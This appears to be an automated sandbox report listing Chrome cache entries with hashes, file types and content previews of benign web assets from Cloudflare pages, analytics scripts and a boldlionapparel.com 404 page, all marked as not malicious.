SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	low
URL:	https://boldlionapparel.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65528), with no line terminators
Category:	dropped
Size (bytes):	163247
Entropy (8bit):	5.2170974165998
Encrypted:	false
SSDEEP:	1536:6QP8bc5wOmp59iEXy6LNidq22UuNNoJ57T5IahU5WuF:6QP8bc5wOiiEXy6L8q22UuLoDBIaqWuF
MD5:	D9BB08D472E1335CE3A809261CC439A2
SHA1:	54B518164272F4ABFC50196AED35F003350F9A38
SHA-256:	42A5CF9D56B574A83FBBA487E86B4B049AED27D8F8C1ADAC84D62AAFC32D2971
SHA-512:	24344674DA1747C55069B6311EC34BC8F08519DDCD0B02D2A4E0E276EF33D587872FCCC80B474446ED0D29EDB57FDFEC7B33B1F5BBB2E453BCF7BD11EB6D799C
Malicious:	false
Reputation:	low
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/under-attack-hotline/","result":{"data":{"page":{"pageName":"Under Attack Hotline (MOE-1056) Redwood (CURRENT)","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"Translated for Locale","enCA":"Translated for Locale","enIN":"English for Locale","enGB":"Translated for Locale","nlNL":"English for Locale","idID":"Translated for Locale","thTH":"Translated for Locale","ruRU":"Translated for Locale","svSE":"English for Locale","viVN":"Translated for Locale","trTR":"English for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"under-attack-

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7995
Entropy (8bit):	4.018970224351403
Encrypted:	false
SSDEEP:	192:oZu2dFH6PsR1VLGwjOS/Gu8z58THvmJ/9Q3hd71:oZu2z6Py+PS/L8wuJlQ3hdx
MD5:	8B8EAE76A69598E60A2A4EF9535D07FB
SHA1:	F602E96B83D20EEBEA4DB53F27C6938C70F2E6A9
SHA-256:	6D37171EA242C29EE028F2B735EE92C11241B60C14230CC49E03553C7553898B
SHA-512:	0F1D608C0AB9E26517121713679AB458A233DB162E746BA2A7E2BFB1181DCDCA9C16EE92CC7FD6E1D34C3FEC7FE132D73BF6F9CC292C7266228743DFAF00A7A0
Malicious:	false
Reputation:	low
Preview:	<svg width="93" height="60" viewBox="0 0 93 60" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M0.518281 44.1853C0.230874 44.7531 0.0590396 45.3723 0.0127415 46.007C-0.0335566 46.6416 0.0466027 47.2792 0.248571 47.8827C0.45054 48.4861 0.770299 49.0435 1.18931 49.5225C1.60832 50.0014 2.11824 50.3924 2.68951 50.6728C3.26077 50.9532 3.88202 51.1174 4.51722 51.1558C5.15243 51.1943 5.78895 51.1063 6.38988 50.8969C6.99081 50.6875 7.54419 50.3609 8.01794 49.936C8.49169 49.5111 8.87638 48.9964 9.1497 48.4218L11.0649 44.5198L6.96038 31.0615L0.518281 44.1853Z" fill="#62676A"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M27.3252 0.493023C26.7585 0.214427 26.1424 0.0502399 25.5123 0.00984419C24.8821 -0.0305515 24.2501 0.0536365 23.6525 0.257596C23.0548 0.461556 22.5033 0.78129 22.0293 1.19852C21.5552 1.61576 21.1681 2.12231 20.89 2.68923L13.1619 18.4316L17.2664 31.889L29.5205 6.92564C29.7988 6.35912 29.9627 5.74335 30.0029 5.11348C30.0432 4.4

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47459)
Category:	dropped
Size (bytes):	47460
Entropy (8bit):	5.397735966179774
Encrypted:	false
SSDEEP:	768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
MD5:	5D332FD1AE9FEB79A10425DFC3F84FE4
SHA1:	C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
SHA-256:	2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
SHA-512:	01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 311 x 174, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3908
Entropy (8bit):	7.8137030127155604
Encrypted:	false
SSDEEP:	96:13xVNREl1mK59qiZ7RZfk8V9EVllVpDvT+L9YpruLtdqZHvqAK:5El1oiZ1hz7EVjL+LapciHSAK
MD5:	869B29EBCFEB5120E3DDF72F9501446D
SHA1:	74FEE860499E9FAB56779475ED4D7C6F6960BF63
SHA-256:	8C91AD120B4DD6AC8F400A265607517FDDE5BB60F6272BAD03A3C90DB9D1B2CF
SHA-512:	FF587EEE124183D1C470E9BFC5AFB235F34F5E4A480AB0ED0A45CE5C913FF3D464643AAF011F65FD83EA9C90E2E06D90617CE7B9179B3D2CDBD98B0CDED3BA4F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...7.........d.?....sRGB.........gAMA......a....mPLTE../.....@..0..0..0..8..0..0..4..,..5..5..4..0..3..,..0..5..5..-../..4..5..4..,..0..3..-../...../...../.....-../...../.....-.....-../..-.....-../.....-..-../.....-../........-../.....-../.....-.....-../..-../..,.....-../.....0..-../..,.....0..-../.....0..-.....0..-../..4..,..3..0..,.....5..-../..4..,..3..0../..,.....0..5..-../..4..,.....3..0..-../.....3..5..-../..4..,.....3..0../..3..5..2..4..,..3..+..0..3..5..2..4..,..3..+..0../..3..2..4..,.....3..0..2../..3..-..2..4.....3..0..2../..3..2..3..0..2..2..3..0..2..2..3..0..2..2..1..3..0..2..2..1..3..0..2..2..1..3..0..2..2..1..0..2..2..1..0..2..1..1..0..1..0..1..1..1..1...O....tRNS..... @@@...................`_>...LIDATx...n.F...%.(3.,.......B. ..n..]..0..^....Ix..........H#)........9g.GQ.._......O.~-$....~........r+......X....".*:?.:..Mr....T..HZ..CK...AT...IT<. 9.Np..hj...yP]...........9..........0...a..._m..hp4..vK.X........g...P._...".....#..+...O>...4

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42716)
Category:	downloaded
Size (bytes):	388152
Entropy (8bit):	5.516745967873163
Encrypted:	false
SSDEEP:	3072:M7z8z1cj2nvG1CZO9p7dT/fQ0e0/iqTydrKN+gEKEbdw+kg0Dpe4gqo7PJEjTQ:kgzq2nBO91dzZyoBQxQDpe4gqoTJEjE
MD5:	2F595449BC5DD23BE3F7CD9A45928947
SHA1:	CC6169B0B08E2024CF4CA562ACBDC13C6E3A41CE
SHA-256:	06BCFCE569E4F868515DD9DC108B9F687A1478B22DE913CB7C8530C6DAF37461
SHA-512:	FC4751AD953030053A53CC64174B72105B4F8899D661031CD9265E9A932D3E57374B4605BDF31ED20039F09794AC185F85F0A88E39251C755A1A0D2E4794FE72
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-NDGPDFZ
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. . (function(w,g){w[g]=w[g]\|\|{};. w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');. .(function(){..var data = {."resource": {. "version":"54",. . "macros":[{"function":"__e"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"zarazGaClientId"},{"function":"__remm","vtp_setDefaultValue":true,"vtp_input":["macro",1],"vtp_fullMatch":true,"vtp_replaceAfterMatch":true,"vtp_defaultValue":"not_set","vtp_ignoreCase":true,"vtp_map":["list",["map","key",".-.","value","ready"]]},{"function":"__e"},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"form_id"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"form_name"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"form_business

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2163 x 1128, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	34038
Entropy (8bit):	7.859337999925548
Encrypted:	false
SSDEEP:	768:Qyu5YbZGq/eHiDVAjeKxNyeIYja3vc2YgO2jCBuf14UkviST:feg/eHiDExQcIc2JOAMymT
MD5:	2C01C0CEE256304E53E1C62DF86DE588
SHA1:	8CCC9152A58610E7D9A30E86D475E40758E7BCDF
SHA-256:	4C1EB18B4056B3FDAA53F5374509B04907B5F7AF78DA7B492B4FFFADC30A8D97
SHA-512:	9187ABED974492F0416389D7C0433664EE52E6DDE400C8021DC1F3D51BCF26A59BB93F0DD67E64AB9D6668E75D60E3155A9AD36BA94F490158EC79817603B4B4
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/img/learning/security/threats/phishing-attack/diagram-phishing-attack.png
Preview:	.PNG........IHDR...s...h.............PLTE...qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq.................................qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq.........................................................................................Pe.Pe.Pe.Pe.Pe.Pe.Pe....Pe.Pe.Pe.Pe....Pe.Pe.Pe.Pe.Pe.................................Pe.Pe.}..fr.Pe.Peqqq......qqq....}}...xww.............~\|\|.......................qqqqqq...........................T+.3....tRNS...D"w....f...U3 @P.`.....0..p.. p..`0.......@P@0`....P ............p.....@.....`...0.. .Pp......................=...................@.0. ..`.......]IDATx......0...Y..q........................................SU...p......$G..A...P...m'..@.).....[....Vd...A...&"""..b...2P..3.....&k-..@...DDDd..d.....s......X.......9DDD....z..`>...""".....c.w.....S.. ..6....w.}l..6..U.\|...n..&2.X......*...{3 H.....""".D..Y..>9'..>.'.q.._..k..k..J.>%..'W..3T.O..^7....P..Aj..-..JDDDfp...U.0....i,..j.t.>..}.k9..^

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	23149
Entropy (8bit):	4.761139865952874
Encrypted:	false
SSDEEP:	384:VRqTeTcT+2KbBnQ7REs3SFZ/HltIVIb8e:TqqcT+2KbBnQ7R4IV68e
MD5:	7244A1B78154CDE963F0805D34ADB1FB
SHA1:	AE3D2C1A24E795F7AFD3EAA3D340BC9F1FAAF0BA
SHA-256:	4BA691AE5B91E9D66C1DDCBABC6574099B9D2F5DD7AB3B7CE6A9CDF23CB23956
SHA-512:	BE97D48497F5691618F45A3AC03E2FF481DB536A4A6332A2A5E20CFA663CAB8781968B1938517C378D234E7DFD544B46F57C399D2579333CEAAC54E6DC9DFA9F
Malicious:	false
Reputation:	low
URL:	https://api.www.cloudflare.com/api/v1/marketo/form/4116
Preview:	{"fields":[{"id":"FirstName","label":"First Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":0,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"LastName","label":"Last Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":1,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Phone","label":"Phone:","dataType":"telephone","validationMessage":"Must be a phone number. <span class='mktoErrorDetail'>503-555-1212</span>","rowNumber":2,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Email","label":"Work Email:","dataType":"email","validationMessage":"Must be valid email. <span class='mktoErrorDetail'>example@yourdomain.com</span>","rowNumber":3,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}}

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (41169)
Category:	downloaded
Size (bytes):	41172
Entropy (8bit):	5.505998162296305
Encrypted:	false
SSDEEP:	768:j21xCdwV69Odf9dk1fV8iWUwcb9x8cvgBhpU9yC8IEVDlbth3Ia8DdEN:iP3kr8V8vShi98Iiph3IbC
MD5:	0AA5002702487976D570A640C408EBA5
SHA1:	48930F22A2396DF313CCDFCB91CAC20E38F2B06B
SHA-256:	4E8276AEA0A3C7FE3600E6718C7F484D49C347C8D5763D89BE95900D526A14DA
SHA-512:	37A9D609DB21EE1E696CB437C02F0F6410925EB10B6353C0CDF95DB265E342F0BC3D2AE1851D209E4517D978B7CCBE8AD56F98247FA865AE405FAFD4D2E62CDA
Malicious:	false
Reputation:	low
URL:	https://snap.licdn.com/li.lms-analytics/insight.min.js
Preview:	!function(){"use strict";function n(n,t,e){return t in n?Object.defineProperty(n,t,{value:e,enumerable:!0,configurable:!0,writable:!0}):n[t]=e,n}var t,e,r,i,o={ADVERTISING:"ADVERTISING",ANALYTICS_AND_RESEARCH:"ANALYTICS_AND_RESEARCH",FUNCTIONAL:"FUNCTIONAL"},a="GUEST",u="MEMBER",c=0,l=1,d=2,s=(n(t={},a,"li_gc"),n(t,u,"li_mc"),t),f=function vr(){var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:null,t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:null,e=arguments.length>2&&arguments[2]!==undefined?arguments[2]:null,r=arguments.length>3&&arguments[3]!==undefined?arguments[3]:null;for(var i in function(n,t){if(!(n instanceof t))throw new TypeError("Cannot call a class as a function")}(this,vr),n=n\|\|{},this.consentAvailable=!1,this.issuedAt=t,this.userMode=e,this.optedInConsentMap={},o)n[i]=n[i]\|\|c,n[i]!==c&&(this.consentAvailable=!0),this.optedInConsentMap[i]=n[i]===l\|\|n[i]===c&&r===l},v=(e=[o.ADVERTISING,o.ANALYTICS_AND_RESEARCH,o.FUNCTIONAL],r=[c,l,d,c],i=new R

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	4.678679113999018
Encrypted:	false
SSDEEP:	3:YBE5WV/eHLmIykgR+C0gPEMS3XjHHVluLEL669YpIw3pftRzcSL6u1n:Yga/eHLmigR+NgPEMMbMi3SpNBjLj
MD5:	0B28155066DBDA9D62801C94803E95F9
SHA1:	E5A7AD3A2599A7AEEE54A1441CE020D881705135
SHA-256:	116AE6675B0E7096A8A606464F41864E8F57F7A154CF62E050CC863FED371D10
SHA-512:	2A70E98945A2FCAC91C7E419F7D0B6DCEE62EB6F0120BA738B336792399977279EAB6266D00D287D2F8F74CA4CC0809BF4CE7CC167AC9FECA5A7912D6D3C4BAF
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/page-data/sq/d/1048862057.json
Preview:	{"data":{"site":{"siteMetadata":{"targetEnv":"production","coreApiV1":"https://api.www.cloudflare.com/api/v1","baseURL":"https://www.cloudflare.com"}}}}

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1754
Entropy (8bit):	4.6485326411211805
Encrypted:	false
SSDEEP:	24:2ffmyCLwyk3q4nsrqH2B6PykiiNRWZ32IGMSGbbZcmsFrEP2Pr9Tf0W2dTZ+NEHK:wD3qAs+rbwMlGbFWLT9f0W2dZNwf
MD5:	005A44DF200C76B76EFEC47F6F69914B
SHA1:	C977AC7F970E44C35AEC662DE7ACB3C3330C37DB
SHA-256:	6ED2A53BA25845638BD5276EE3C0ACA0C4A370972F1482FAE29A5FCCD97942EA
SHA-512:	4A5AC3FA0ACC72D63826D3610896D4AF6EBE50294B4D7ECC0F2775EA3E645FC5ACAD1CDFEADFD0BF24D26EA812D3C1677267FDBA13DC08AB38877B592E8294A8
Malicious:	false
Reputation:	low
URL:	https://bat.bing.com/p/action/5268204.js
Preview:	(function(w,d,c,k,a,b,t,e) {.. var cs = d.currentScript;.. if (cs) {.. var uo = cs.getAttribute('data-ueto');.. if (uo && w[uo] && typeof w[uo].setUserSignals === 'function') {.. w[uo].setUserSignals({'co': c, 'kc': k, 'at': a, 'bi': b, 'dt': t, 'ec': e});.. }.. }..})(window, document, 'us', true, false, false, false, false);..(function(w,d,s,i) {.. var c=d.currentScript;.. if (c) {.. var uo = c.getAttribute('data-ueto');.. if (uo && w[uo] && w[uo].uetConfig && w[uo].uetConfig.deBlock === true).. return;.. }.. var f,j; f=d.getElementsByTagName(s)[0]; j=d.createElement(s); j.async=true;.. j.src='https://bat.bing.com/p/insights/t/'+i;.. j.onload = function () {.. if (!c) return;.. var co = function(u) { return u && typeof u === 'object' && !(u instanceof Array) && u.beaconParams && u.beaconParams.mid && w.webinsights; };.. var r = 40;.. var cl = function() {.. if (r-

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	14055
Entropy (8bit):	3.933853430770228
Encrypted:	false
SSDEEP:	192:7YFJe3YFJeehPqJ8act/bKfQAuiFJJ4QmeLb7xr5TQTEJjORP9e5NgDcUU:c7eI7eY0sTQQAumSQme95Tn6hFU
MD5:	4F477DC9F2BB86206F6978BF050FC1F8
SHA1:	54EA606767E4FE8C398FAF4295D587CE2CA4A387
SHA-256:	C3966138D77E148517D44518E9636907AF239102C8D76F3B1DF0D2835AC76D65
SHA-512:	19B54E0A9982186EAA2689DBD783924564CBD068911BDA96EA0D254F93E51973BCC371EF1ABE4D5417C04AB9BC0EF31CB991D86B5E48CE781BCD5E1FAC520DB2
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/brandfolder/logo_lending-tree.svg
Preview:	<svg width="160" height="48" viewBox="0 0 160 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M159.144 25.1117C159.029 24.92 158.875 24.7667 158.722 24.69C158.53 24.575 158.339 24.5366 158.147 24.5366C157.955 24.5366 157.764 24.575 157.572 24.69C157.38 24.805 157.227 24.92 157.15 25.1117C157.035 25.3034 156.997 25.4951 156.997 25.7251C156.997 25.9168 157.035 26.1085 157.15 26.3002C157.265 26.4919 157.419 26.6452 157.572 26.7219C157.764 26.8369 157.955 26.8753 158.147 26.8753C158.339 26.8753 158.53 26.8369 158.722 26.7219C158.914 26.6069 159.067 26.4536 159.144 26.3002C159.259 26.1085 159.297 25.9168 159.297 25.7251C159.297 25.4951 159.259 25.3034 159.144 25.1117ZM158.952 26.1852C158.875 26.3385 158.76 26.4536 158.607 26.5302C158.454 26.6069 158.3 26.6452 158.147 26.6452C157.994 26.6452 157.84 26.6069 157.687 26.5302C157.534 26.4536 157.419 26.3385 157.342 26.1852C157.265 26.0318 157.227 25.8785 157.227 25.7251C157.227 25.5718 157.265 25.3801 157.342 25.2651C157.419 25.1117

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	294583
Entropy (8bit):	5.22297217188849
Encrypted:	false
SSDEEP:	3072:yiEXy6LizpoU1xS5VFPiEXy6L8M22UuLoDBIaqWuF:y/Qy5Vl/8BUoOa9Y
MD5:	4943491331B35F1FE79E66795028CCBD
SHA1:	201B4EC70EBF395B13AF063B2CF45062B760EF5A
SHA-256:	0C07C8993074209F9E1676C484166B39339EDD31FDB34E8394C34DB17216B4C8
SHA-512:	EDA7290A2B9906DDB65CE63D14624722B77A9AAC439C909C7929D50D052EE8A48EA23240B71CF977532A85ED76FCA019CF4EBE65BC4F530BE602CB2824C505DB
Malicious:	false
Reputation:	low
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/","result":{"data":{"page":{"pageName":"Homepage Redwood - LIVE - DO NOT DELETE","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"Translated for Locale","enCA":"English for Locale","enIN":"English for Locale","enGB":"Translated for Locale","nlNL":"Translated for Locale","idID":"No Page for Locale","thTH":"No Page for Locale","ruRU":"Translated for Locale","svSE":"Translated for Locale","viVN":"English for Locale","trTR":"Translated for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"/","topNavOptions":"custom","topNavButtonText":

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	685
Entropy (8bit):	4.957642199426465
Encrypted:	false
SSDEEP:	12:tr2b8EAuCS8LQMyzfaXSi4gJGq9lQKi4gfcTOjYti4gXjRbi4hUOk1i41mSbti4z:tCb8EAuB8LkzSXSiNJGqYKiNx0tiNzRg
MD5:	06CEF15B33AD0C6869CAB4AE671BFD90
SHA1:	9901A01E9283FE5C70D8ADF73D739523A3676097
SHA-256:	A2112EA14D83D916AB83A2B779F1312BD42EF26430AFB0150E12A78D9BE0E890
SHA-512:	335F23783BA7C5B857AC5735009C3E08B2C1AFA593E933526C0F219094F7D991ACBB9384A6B108955054E2C93B6854B58E41C9A6B8F014391626D4AE775AE1ED
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/68TLXIuB6HOZo3RgLAp1Ji/6a953e33858490426d4e2ca753bea3ad/documentation-list.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M39 4.5H9L7.5 6V41.8365L9 43.3365H39L40.5 41.8365V6L39 4.5ZM37.5 40.3365H10.5V7.5H37.5V40.3365Z" fill="#FF6633"/>.<path d="M34.0988 10.9958H19.8488V13.9957H34.0988V10.9958Z" fill="#FF6633"/>.<path d="M34.0988 17.2845H19.8488V20.2845H34.0988V17.2845Z" fill="#FF6633"/>.<path d="M34.0988 23.574H19.8488V26.574H34.0988V23.574Z" fill="#FF6633"/>.<path d="M16.9012 11.0153H13.9012V14.0153H16.9012V11.0153Z" fill="#FF6633"/>.<path d="M16.9012 17.2845H13.9012V20.2845H16.9012V17.2845Z" fill="#FF6633"/>.<path d="M16.9012 23.5538H13.9012V26.5537H16.9012V23.5538Z" fill="#FF6633"/>.</svg>.

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	444
Entropy (8bit):	7.39115732505941
Encrypted:	false
SSDEEP:	12:MPQVAGLp8WD8MAL7C3vWx2bbTD4yp3pZrIJNVj:DVoMAn8v0q35ZZry7
MD5:	77EFACDA6EE51481065DEDCCB80C9354
SHA1:	B3407385793944EBC4CB7369C09811C8E11E3DFD
SHA-256:	6FE7794B17E8B9933337D3D580D29A4F6013DBED966386B811421F0FEF6505AC
SHA-512:	13469AAA511A27F62D13A02CEF505CE6D39D6379ED9ACB96CA9CD61E34CAFC7B9DEF7008BEDA1477BF87CDC017C87257247DD1AFB5E8346AFC3961CF63C0AA61
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/7vSmQwpXxBBSUXvax4mTTj/1e9733d09150035751acd28962d65831/optimization-scale.png
Preview:	RIFF....WEBPVP8L..../.....m$.{?...]wCc..........^...D.q....j.8.....@!.......\.8BXj\|...KGz.d.9..hH.m7n..md....#..o.\..s".?....S.b.TW.l..-.]u.e......X.c!..o.i.......Wu<....~.q......i.T../..%g..q..b.X......^.rc{q@An..Q...;.7.....!.E.1.CAn..P...;.......1.C.....k~n.....rcp..... 7.......rcP(.A. 7.......rcP(.A. 7..4\.[.+..B.n.RH.C.i.qH!.;.)$r3.P...)...-.}...ma......]6.7]s.\?W..............0.u..............=..uw{D.....\|.....A.

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	24619
Entropy (8bit):	4.795617479634342
Encrypted:	false
SSDEEP:	384:OfeTcT+2KbBnQ7REs3SFZ/HlMvVUtzzi0X:OWcT+2KbBnQ7RhvV0zu0X
MD5:	B6EE0570A62B6F8B262FD11D419AC672
SHA1:	A4D04AA80C2FF61AC04741C073817D78437131A4
SHA-256:	709FB5D06C3F83D291E8D4F0E09092553DA101640D980DFD9737364D9D93FBEE
SHA-512:	8161E02F5EF5B76E62C1CF6DA81123DAF55BA6CEB91B60D86A1CDC90EE40D3A51C163B2A71C142692A233C7880A45688B077EC2E2473A646DB1ED29C14C5714A
Malicious:	false
Reputation:	low
URL:	https://api.www.cloudflare.com/api/v1/marketo/form/1639
Preview:	{"fields":[{"id":"FirstName","label":"First Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":0,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"LastName","label":"Last Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":1,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Company","label":"Full Company Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":2,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Email","label":"Work Email:","dataType":"email","validationMessage":"Must be valid email. example@example.com","rowNumber":3,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Title","label":"Job Title:","dataType":"select","defaultV

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	573
Entropy (8bit):	5.187957168497658
Encrypted:	false
SSDEEP:	12:sqJmuIS/duvCQEwfC74bVyBa0V32MfxnY2C6Ba0Yb:TAGdrUf9bVydJhY16dYb
MD5:	ED8B54FAC3F3761975D3D4084478D1AF
SHA1:	442FB45CB267C466CBF565A324DE55BA928B8921
SHA-256:	12B0B864874ABA000DB0AF33D03F8BFACA68A8BCFAE80232B8E42E76B3FAB466
SHA-512:	C870E8B183AE2CB24AA4A04FE12365B0CB641BF6E8A74CE812FBF7ED9419310BC58A5CB31F903C1FBBF5733079807D7E111F37EAC32FACFEA497849CF3FED139
Malicious:	false
Reputation:	low
URL:	https://boldlionapparel.com/.i/
